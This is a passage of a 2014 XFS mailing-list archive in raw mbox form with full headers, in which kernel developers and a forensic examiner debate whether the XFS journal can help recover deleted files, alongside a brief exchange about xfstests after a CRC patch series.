<531A4600.7050906@hardwarefreak.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [134.15.0.84] Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 U3RhbiwNCg0KSWYgSSB1bmRlcnN0YW5kIHdoYXQgeW91J3JlIHNheWluZyBoZXJlIGNvcnJlY3Rs eSwgaXQgc291bmRzIGxpa2UgdGhlcmUgd291bGQgc3RpbGwgYmUgYSB2ZXJ5IHRpbnkgd2luZG93 IHdoZXJlIHRoZSBqb3VybmFsIGNvdWxkIGJlIHJlbGV2YW50LCB0aG9zZSAiZmV3IHNlY29uZHMi IGJlZm9yZSBpdCdzIGNvbW1pdHRlZCBhcyB5b3Ugc2FpZC4gU28gaXQgd291bGQgYmUgYSByYXRo ZXIgc21hbGwgY29ybmVyIGNhc2UsIGJ1dCB0aGVyZSBtaWdodCBiZSBzb21lIHVzZS4gQW5kIEkg dGhpbmsgaXQgd2FzIGFscmVhZHkgc3RhdGVkIHRvIGJlIGFuIGFjYWRlbWljIHByb2plY3QuLi4N Cg0KVGhpcyBkb2VzIG1ha2VzIG1lIGN1cmlvdXMgaW4gdHVybiBhYm91dCBob3cgZGlmZmljdWx0 IGl0IHdvdWxkIGJlIHRvIHJlY292ZXIgam91cm5hbCBlbnRyaWVzLiBBdCBhIGd1ZXNzLCBpZiBh IHBlcnNvbiBrbm93cyB0aGUgc3RydWN0dXJlIGFuZCBpdCBoYXNuJ3QgYmVlbiBvdmVyd3JpdHRl biwgaXQnbGwgc3RpbGwgYmUgdGhlcmU/IE9yIGlzIGl0IGF1dG9tYXRpY2FsbHkgb3ZlcndyaXR0 ZW4vemVybydkIHdoZW4gdGhlIGVudHJ5IGlzIHJlbW92ZWQgZnJvbSB0aGUgam91cm5hbCwgcGVy aGFwcyBhcyB0aGUgdmVyeSBtZWNoYW5pc20gb2YgcmVtb3ZhbD8gQW5kIHByZXN1bWFibHkgdGhp cyB3aW5kb3csIGlmIGFueSwgd291bGQgYWxzbyBiZSByYXRoZXIgc21hbGwgYXNzdW1pbmcgYW4g YWN0aXZlIGZpbGVzeXN0ZW0gKGFuZCBhbiBpbmFjdGl2ZSBvbmUgcHJlc3VtYWJseSBpcnJlbGV2 YW50Li4udW5sZXNzLCBwZXJoYXBzLCBpdCB3YXMgb25lIHdoZXJlIHRoZSBsYXN0IGFjdGlvbiwg YXJiaXRyYXJpbHkgbG9uZyBhZ28sIHdhcyBhIGNyaXRpY2FsIGRlbGV0ZSBvcGVyYXRpb24uLi4p Lg0KDQpDaGVlcnMsDQotU2hhdW4NCg0KLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCkZyb206 IHhmcy1ib3VuY2VzQG9zcy5zZ2kuY29tIFttYWlsdG86eGZzLWJvdW5jZXNAb3NzLnNnaS5jb21d IE9uIEJlaGFsZiBPZiBTdGFuIEhvZXBwbmVyDQpTZW50OiBGcmlkYXksIE1hcmNoIDA3LCAyMDE0 IDQ6MjAgUE0NClRvOiBZb25nbWluOyB4ZnNAb3NzLnNnaS5jb20NClN1YmplY3Q6IFJlOiBIZWxs bywgSSBoYXZlIGEgcXVlc3Rpb24gYWJvdXQgWEZTIEZpbGUgU3lzdGVtDQoNClBsZWFzZSByZXBs eSB0byB0aGUgbWFpbGluZyBsaXN0IGFzIHdlbGwgYXMgdGhlIGluZGl2aWR1YWwuDQoNCk5vdGUg dGhhdCB5b3Ugc3RhdGVkOg0KDQonLi4udGhlIGNvbmNlbnRyYXRlZCBwYXJ0IG9mIG1pbmUgaXMg IkRlbGV0ZWQgRmlsZSBSZWNvdmVyeSInDQoNCk9uIDMvNi8yMDE0IDEwOjAyIFBNLCBZb25nbWlu IHdyb3RlOg0KPiANCj4gWWVzISB0aGVyZSBhcmUgbm8gYWN0dWFsIGZpbGUgZGF0YSBpbiBqb3Vy bmFsaW5nIHBhcnQuDQo+IA0KPiBCVVQsIGJ5IGFuYWx5emluZyBqb3VybmFsaW5nIHBhcnQsIHdl IGNhbiBnZXQgYSBJbm9kZSBDb3JlIEluZm9ybWF0aW9uIHdoaWNoIHdhcyBkZWxldGVkLg0KPiBJ biBJbm9kZSBDb3JlLCB0aGVyZSBhcmUgbWFueSBpbmZvcm1hdGlvbiBhYm91dCB0aGUgYWN0dWFs IGRhdGEsIGkuZS4gc3RhcnQgYWRkcmVzcywgZmlsZSBsZW5ndGggZXRjLg0KDQpBbmFseXppbmcg dGhlIGpvdXJuYWwgY29kZSBtYXkgaW5mb3JtIHlvdSBhYm91dCBzdHJ1Y3R1cmVzLCBidXQgaXQg d29uJ3QgaW5mb3JtIHlvdSBhYm91dCBvbiBkaXNrIGxvY2F0aW9ucyBvZiB0aGUgc3RydWN0dXJl cyBhbmQgaG93IHRvIGZpbmQgdGhlbS4gIElmIGEgZmlsZSBoYXMgYmVlbiBkZWxldGVkLCBubyBp bmZvcm1hdGlvbiBhYm91dCB0aGF0IGlzIGdvaW5nIHRvIGV4aXN0IGluIHRoZSBqb3VybmFsIGZv ciBtb3JlIHRoYW4gYSBmZXcgc2Vjb25kcyBiZWZvcmUgdGhlIHRyYW5zYWN0aW9uIGlzIGNvbW1p dHRlZCBhbmQgdGhlIGVudHJ5IHJlbW92ZWQgZnJvbSB0aGUgam91cm5hbC4NCg0KPiBCeSB1c2lu ZyB0aG9zZSBpbmZvcm1hdGlvbiwgUmVjb3ZlcmluZyBkZWxldGUgZmlsZSBjYW4gYmUgZG9uZS4N Cj4gDQo+IFNvIHRoZSBhbmFseXNpcyBvZiBKb3VybmFsaW5nIHBhcnQgaXMgYWJzb2x1dGVseSBu ZWVkZWQuICANCg0KSSBkaXNhZ3JlZS4gIEFnYWluLCB0aGUgam91cm5hbCBsb2cgaXMgdW5yZWxh dGVkIHRvICJkZWxldGVkIGZpbGUgcmVjb3ZlcnkiIGluIGEgZm9yZW5zaWNzIHNjZW5hcmlvLg0K DQpJIHRoaW5rIERhdmUgYW5kIEplZmYgYm90aCBtaXNzZWQgdGhlIGZhY3QgdGhhdCB5b3UncmUg aW50ZXJlc3RlZCBvbmx5IGluIGRlbGV0ZWQgZmlsZSByZWNvdmVyeSwgbm90IGluIGxlYXJuaW5n IGhvdyB0aGUgam91cm5hbCB3b3JrcyBmb3IgdGhlIHNha2Ugb2YgbGVhcm5pbmcgaG93IHRoZSBq b3VybmFsIHdvcmtzLg0KDQoNCj4gPT09PT09PT09PT09PT09PT09PT09PT0NCj4gICAgICAgICBm cm9tIFlvbmdtaW4gUGFyaw0KPiA9PT09PT09PT09PT09PT09PT09PT09PQ0KPiANCj4gDQo+IE9u IDIwMTTrhYQgM+yblCA37J28IEZyaWRheSBhdCDsmKTsoIQgNTozMCwgU3RhbiBIb2VwcG5lciB3 cm90ZToNCj4gDQo+PiBPbiAzLzYvMjAxNCAzOjE1IEFNLCBZb25nbWluIHdyb3RlOg0KPj4+ICAN Cj4+PiBIZWxsby4NCj4+PiAgDQo+Pj4gTXkgbmFtZSBpcyBZb25nbWluIFBhcmsgYW5kIEkgYW0g YSBncmFkdWF0ZWQgc3R1ZGVudCBpbiBBam91IA0KPj4+IFVuaXZlcnNpdHkgKEtvcmVhKS4gTXkg cmVzZWFyY2ggYXJlYSBpcyBEaWdpdGFsIEZvcmVuc2ljcy4gQW5kIHRoaXMgDQo+Pj4gdGltZSBp IHRyaWVkIHRvIHVuZGVyc3RhbmQgdGhlIHN0cnVjdHVyZSBvZiBYRlMgZmlsZSBzeXN0ZW0sIGJl Y2F1c2UgDQo+Pj4gWEZTIGlzIG9uZSBvZiB0aGUgZmFtb3VzIGh1Z2UgZmlsZSBzeXN0ZW0gaW4g dGhlc2UgZGF5cy4NCj4+PiAgDQo+Pj4gSSBhbHJlYWR5IGZvdW5kZWQgYW5kIHJlYWQgJ1hGUyBG aWxlc3lzdGVtIFN0cnVjdHVyZSAybmQgRWRpdGlvbiANCj4+PiBSZXZpc2lvbiAxJyBvbiB0aGUg SW50ZXJuZXQsIHdoaWNoIHdhcyB3cml0dGVuIGJ5IFNpbGljb24gR3JhcGhpY3MgDQo+Pj4gSW5j IGluIDIwMDYgYW5kIGl0IGlzIHJlYWxseSB3ZWxsIHdyaXR0ZW4gdG8gdW5kZXJzdGFuZC4NCj4+ PiAgDQo+Pj4gQnV0IHRoZSBjb25jZW50cmF0ZWQgcGFydCBvZiBtaW5lIGlzICJEZWxldGVkIEZp bGUgUmVjb3ZlcnkiLCBzbyB0aGUgDQo+Pj4gSm91cm5hbGluZyBwYXJ0IGlzIHJlYWxseSBpbXBv cnRhbnQgZm9yIG1lLCwgYnV0IHJlZ3JldGZ1bGx5IHRoZXJlIA0KPj4+IGFyZSBubyBzcGVjaWZp YyBndWlkZSBsaW5lIGFib3V0IEpvdXJuYWxpbmcgcGFydC4uLiBBbHNvIG5leHQgDQo+Pj4gdmVy c2lvbihtYXliZSB0aGUgM3JlIEVkaXRpb24pIGlzIG5vdCBleHNpc3QgZm9yIG1vcmUgdGhhbiBh IDUgDQo+Pj4geWVhcnMuDQo+Pj4gIA0KPj4+IFNvIGlzIHRoZXJlIG5vIGd1aWRlIGxpbmUgZm9y IGpvdXJuYWxpbmcgcGFydCBpbiBYRlM/IEhvdyBjYW4gaSBnZXQgDQo+Pj4gdGhlbSwsIGhhdmUg SSB0byBidXkgdGhlbT8gb3IgSXMgQW5hbHlzaW5nIFNvdXJjZSBDb3JkIG9ubHkgd2F5IHRvIA0K Pj4+IHN0dWR5Pw0KPj4+ICANCj4+ICANCj4+ICANCj4+IFRoZSBqb3VybmFsIG9ubHkgY29udGFp bnMgaW4gZmxpZ2h0IHRyYW5zYWN0aW9uYWwgbWV0YWRhdGEgZm9yIA0KPj4gcmVjb3ZlcnkgcHVy cG9zZXMgYWZ0ZXIgYSBzeXN0ZW0gY3Jhc2ggb3IgcG93ZXIgbG9zcywgdG8gcHJldmVudCBmaWxl c3lzdGVtLCBpLmUuDQo+PiBtZXRhZGF0YSwgY29ycnVwdGlvbi4gVGhlIGpvdXJuYWwgZG9lcyBu b3QgY29udGFpbiBmaWxlIGRhdGEuIER1cmluZyANCj4+IG5vcm1hbCBvcGVyYXRpb24sIG9uY2Ug dGhlIG1ldGFkYXRhIGhhcyBiZWVuIHdyaXR0ZW4gaW50byBhbiANCj4+IGFsbG9jYXRpb24gZ3Jv dXAgdGhlIHRyYW5zYWN0aW9uYWwgZW50cnkgaW4gdGhlIGpvdXJuYWwgaXMgcmVtb3ZlZC4gDQo+ PiBUaHVzLCByZWNvdmVyaW5nIGRlbGV0ZWQgZmlsZXMgaGFzIG5vdGhpbmcgdG8gZG8gd2l0aCB0 aGUgam91cm5hbC4NCj4+ICANCj4+IFRoaXMgbWF5IGJlIGhlbHBmdWw6DQo+PiBodHRwOi8veGZz Lm9yZy9pbmRleC5waHAvWEZTX0ZBUSNROl9Eb2VzX3RoZV9maWxlc3lzdGVtX2hhdmVfYW5fdW5k ZWwNCj4+IGV0ZV9jYXBhYmlsaXR5LjNGDQoNCg0KLS0NClN0YW4NCg0KX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18NCnhmcyBtYWlsaW5nIGxpc3QNCnhmc0Bv c3Muc2dpLmNvbQ0KaHR0cDovL29zcy5zZ2kuY29tL21haWxtYW4vbGlzdGluZm8veGZzDQo= From david@fromorbit.com Fri Mar 7 16:50:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CE5287F56 for ; Fri, 7 Mar 2014 16:50:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7DB11AC004 for ; Fri, 7 Mar 2014 14:50:51 -0800 (PST) X-ASG-Debug-ID: 1394232648-04cbb054b7166380001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id ytzdz5zD84L3A9EJ for ; Fri, 07 Mar 2014 14:50:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsZPAHZMGlN5LJYePGdsb2JhbABagwaDRoUMtBeFTwmBFhcDAQEBAR8ZDSiCJQEBAQQ6HCMQCAMOCgklDwUlAwcaE4d40BgXFo5FB4Q4BJhClW0p Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 08 Mar 2014 09:20:47 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WM3bI-0002Ks-Ja; Sat, 08 Mar 2014 09:50:44 +1100 Date: Sat, 8 Mar 2014 09:50:44 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 00/13] xfsprogs: initial EFSBADCRC support Message-ID: <20140307225044.GR6851@dastard> X-ASG-Orig-Subj: Re: [PATCH 00/13] xfsprogs: initial EFSBADCRC support References: <1393923117-9559-1-git-send-email-david@fromorbit.com> <20140307104604.GA32753@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140307104604.GA32753@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1394232648 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3688 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 07, 2014 at 02:46:04AM -0800, Christoph Hellwig wrote: > Seems like xfstests will need some updates after this series to > ignore > > Metadata corruption detected at block XXX/XXX Yes, I'm seeing that from 2 tests - xfs/030 and xfs/033. I've got a patch in my local xfstests tree that handles this. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Mar 7 17:09:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BF3607F5A for ; Fri, 7 Mar 2014 17:09:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id ACA37304043 for ; Fri, 7 Mar 2014 15:09:20 -0800 (PST) X-ASG-Debug-ID: 1394233758-04cbb054b91673a0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id k3W83ELTpX15N3mD for ; Fri, 07 Mar 2014 15:09:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArxPAElRGlN5LJYePGdsb2JhbABagwaDRoUMtBeFWIETFwMBAQEBHxkNKIIlAQEBAwE6HBcBCxAIAxgJJQ8FJQMHGhOGHYFUB9AeFxaORQeEOASMb4tTh0eOJimBLA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 08 Mar 2014 09:39:17 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WM3tD-0002NU-F6; Sat, 08 Mar 2014 10:09:15 +1100 Date: Sat, 8 Mar 2014 10:09:15 +1100 From: Dave Chinner To: Stan Hoeppner Cc: Yongmin , "xfs@oss.sgi.com" Subject: Re: Hello, I have a question about XFS File System Message-ID: <20140307230915.GS6851@dastard> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <5318DB01.2040102@hardwarefreak.com> <279D0A265E5D4AF5B099BFAD4E8B1700@gmail.com> <531A4600.7050906@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <531A4600.7050906@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1394233758 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3688 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 07, 2014 at 04:19:44PM -0600, Stan Hoeppner wrote: > Please reply to the mailing list as well as the individual. > > Note that you stated: > > '...the concentrated part of mine is "Deleted File Recovery"' > > On 3/6/2014 10:02 PM, Yongmin wrote: > > > > Yes! there are no actual file data in journaling part. > > > > BUT, by analyzing journaling part, we can get a Inode Core Information which was deleted. > > In Inode Core, there are many information about the actual data, i.e. start address, file length etc. > > Analyzing the journal code may inform you about structures, but it won't > inform you about on disk locations of the structures and how to find > them. If a file has been deleted, no information about that is going to > exist in the journal for more than a few seconds before the transaction > is committed and the entry removed from the journal. Well, we don't actually "remove" information from the log. We update pointers that indicate what the active region is, but we never physically "remove" anything from it. IOWs, the information is in the journal until it wraps around and is over written by new checkpoints.... > > By using those information, Recovering delete file can be done. > > > > So the analysis of Journaling part is absolutely needed. > > I disagree. Again, the journal log is unrelated to "deleted file > recovery" in a forensics scenario. > > I think Dave and Jeff both missed the fact that you're interested only > in deleted file recovery, not in learning how the journal works for the > sake of learning how the journal works. Oh, no, I saw it and didn't think it was worth commenting on. I think it's a brain-dead concept trying to do undelete in the filesystem. "recoverable delete" was a problem solved 30 years ago - it's commonly known as a trash bin and you do it in userspace with a wrapper around unlink that calls rename(2) instead. And then "empty trashbin" is what does the unlink and permanently deletes the files. Besides, from a conceptual point of view after-the-fact filesystem based undelete is fundamentally flawed. i.e. the journal is a write-ahead logging journal and so can only be used to roll the filesystem state forwardi in time. Undelete requires having state and data in the journal that allows the filesystem to be rolled *backwards in time*. XFS simply does not record such information in the log and so parsing the log to "undelete files by transaction rollback" just doesn't work. Cheers, Dave. -- Dave Chinner david@fromorbit.com From greg.freemyer@gmail.com Fri Mar 7 18:39:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C99597F5E for ; Fri, 7 Mar 2014 18:39:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BC4718F804C for ; Fri, 7 Mar 2014 16:38:57 -0800 (PST) X-ASG-Debug-ID: 1394239136-04cb6c5675361570001-NocioJ Received: from mail-qa0-f53.google.com (mail-qa0-f53.google.com [209.85.216.53]) by cuda.sgi.com with ESMTP id c6q2VxurMiiNARv7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 07 Mar 2014 16:38:56 -0800 (PST) X-Barracuda-Envelope-From: greg.freemyer@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.53 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.53] Received: by mail-qa0-f53.google.com with SMTP id w8so4867100qac.12 for ; Fri, 07 Mar 2014 16:38:55 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.53] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.53] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=jFawsfL3lanTqude/7D6VKdwEatKj33tyVvZGmDkAMw=; b=p+Njc6VDYlmzSZqnHmSfMSmhSR17cAF4nmjinUQl2QCwFl/d7wKRgPiKw9kEw5ERHp sohZGG0oLBXW5DRMdIHymeRDWlBfUYkYkYzV6pVCDYr5tlDQYlYP1QSxfKXCa+AhmFYg 7fWIbyQynxPb0ZtUuMNtztxio3DDnEeNTIg69lYeStLTinvr59Y41UvaADCyS31hZbBm x7+h+NKFw8ylJPtk03dDLhVOoxDzK42JEkNr5festlsqhsULl/KWevMciNFjxtRF51JX FcDf7usNEBmt142jN/OoLccPsj4BnDFZytr0aGE1Piwj0P5obSNKvxAQaOZRiD/VGG+C qU+g== X-Received: by 10.224.98.197 with SMTP id r5mr12903765qan.47.1394239135819; Fri, 07 Mar 2014 16:38:55 -0800 (PST) MIME-Version: 1.0 Received: by 10.140.36.211 with HTTP; Fri, 7 Mar 2014 16:38:15 -0800 (PST) In-Reply-To: <20140307230915.GS6851@dastard> References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <5318DB01.2040102@hardwarefreak.com> <279D0A265E5D4AF5B099BFAD4E8B1700@gmail.com> <531A4600.7050906@hardwarefreak.com> <20140307230915.GS6851@dastard> From: Greg Freemyer Date: Fri, 7 Mar 2014 19:38:15 -0500 Message-ID: Subject: Re: Hello, I have a question about XFS File System To: Dave Chinner X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System Cc: Stan Hoeppner , Yongmin , "xfs@oss.sgi.com" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f53.google.com[209.85.216.53] X-Barracuda-Start-Time: 1394239136 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3691 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Mar 7, 2014 at 6:09 PM, Dave Chinner wrote: > On Fri, Mar 07, 2014 at 04:19:44PM -0600, Stan Hoeppner wrote: >> Please reply to the mailing list as well as the individual. >> >> Note that you stated: >> >> '...the concentrated part of mine is "Deleted File Recovery"' >> >> On 3/6/2014 10:02 PM, Yongmin wrote: >> > >> > Yes! there are no actual file data in journaling part. >> > >> > BUT, by analyzing journaling part, we can get a Inode Core Information which was deleted. >> > In Inode Core, there are many information about the actual data, i.e. start address, file length etc. >> >> Analyzing the journal code may inform you about structures, but it won't >> inform you about on disk locations of the structures and how to find >> them. If a file has been deleted, no information about that is going to >> exist in the journal for more than a few seconds before the transaction >> is committed and the entry removed from the journal. > > Well, we don't actually "remove" information from the log. We update > pointers that indicate what the active region is, but we never > physically "remove" anything from it. IOWs, the information is in > the journal until it wraps around and is over written by new > checkpoints.... > >> > By using those information, Recovering delete file can be done. >> > >> > So the analysis of Journaling part is absolutely needed. >> >> I disagree. Again, the journal log is unrelated to "deleted file >> recovery" in a forensics scenario. >> >> I think Dave and Jeff both missed the fact that you're interested only >> in deleted file recovery, not in learning how the journal works for the >> sake of learning how the journal works. > > Oh, no, I saw it and didn't think it was worth commenting on. I > think it's a brain-dead concept trying to do undelete in the > filesystem. "recoverable delete" was a problem solved 30 years ago - > it's commonly known as a trash bin and you do it in userspace with a > wrapper around unlink that calls rename(2) instead. And then "empty > trashbin" is what does the unlink and permanently deletes the files. As a practicing forensicator, I can say "potentially recoverable files" is a heavily used concept. I don't know XFS on disk structure in detail, so I'll comment about HFS+ and NTFS. NTFS uses a simple linear on disk directory structure and inode (mft) structure. Forensic tools look at existing directory structures that have directory entries marked invalid and they also scan the unallocated space for directory remnants that were left behind from a delete operation. When either are found, they assume the data pointed at is "potentially recoverable". I think some tools also parse the NTFS journal, but it is a much less useful mechanism. Note that it is understood that the data pointed at by filesystem remnants may have been overwritten by new data, so it is unreliable. As a last resort, data carving tools equivalent to photorec are used. Photorec depends on the files not being fragmented and also fails to recover any filesystem metadata such as filenames, timestamps, etc. Macs use HFS+ which uses a btree structure for the directory structure. I'm not aware of any forensic tool that attempts to look for invalid directory remnants with HFS+. Instead they go straight to data carving. It turns out with HFS+ the files are often not fragmented, so data carving is very successful, but you still don't get any filesystem metadata. I believe XFS is similar to HFS+ in this sense. Data carving would likely have good results, but looking for filesystem metadata remnants is a waste of time. If I'm right, there is not really any research needed on the deleted file recovery side. At the same time, I'm not familiar with forensic tool, free or commercial, that parses the XFS filesystem for live files and filesystem metadata such as timestamps. (I could be wrong, it is not something I've had to research in the last few years.) > Besides, from a conceptual point of view after-the-fact filesystem > based undelete is fundamentally flawed. i.e. the journal is a > write-ahead logging journal and so can only be used to roll the > filesystem state forwardi in time. Undelete requires having state > and data in the journal that allows the filesystem to be rolled > *backwards in time*. XFS simply does not record such information in > the log and so parsing the log to "undelete files by transaction > rollback" just doesn't work. I suspect you are assuming the goal is "reliable undelete". The typical goal is the identification of potentially recoverable files. I don't know if parsing the XFS journal can help with that. Greg From stan@hardwarefreak.com Fri Mar 7 20:08:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 47EE67F5A for ; Fri, 7 Mar 2014 20:08:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 382158F8039 for ; Fri, 7 Mar 2014 18:08:53 -0800 (PST) X-ASG-Debug-ID: 1394244532-04cb6c5678366f40001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id yJ7op2nRAFYHTMXp for ; Fri, 07 Mar 2014 18:08:52 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id CD5986C169; Fri, 7 Mar 2014 20:08:51 -0600 (CST) Message-ID: <531A7BB8.5090201@hardwarefreak.com> Date: Fri, 07 Mar 2014 20:08:56 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: Yongmin , "xfs@oss.sgi.com" Subject: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <5318DB01.2040102@hardwarefreak.com> <279D0A265E5D4AF5B099BFAD4E8B1700@gmail.com> <531A4600.7050906@hardwarefreak.com> <20140307230915.GS6851@dastard> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System In-Reply-To: <20140307230915.GS6851@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1394244532 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/7/2014 5:09 PM, Dave Chinner wrote: > On Fri, Mar 07, 2014 at 04:19:44PM -0600, Stan Hoeppner wrote: >> Please reply to the mailing list as well as the individual. >> >> Note that you stated: >> >> '...the concentrated part of mine is "Deleted File Recovery"' >> >> On 3/6/2014 10:02 PM, Yongmin wrote: >>> >>> Yes! there are no actual file data in journaling part. >>> >>> BUT, by analyzing journaling part, we can get a Inode Core Information which was deleted. >>> In Inode Core, there are many information about the actual data, i.e. start address, file length etc. >> >> Analyzing the journal code may inform you about structures, but it won't >> inform you about on disk locations of the structures and how to find >> them. If a file has been deleted, no information about that is going to >> exist in the journal for more than a few seconds before the transaction >> is committed and the entry removed from the journal. > > Well, we don't actually "remove" information from the log. We update > pointers that indicate what the 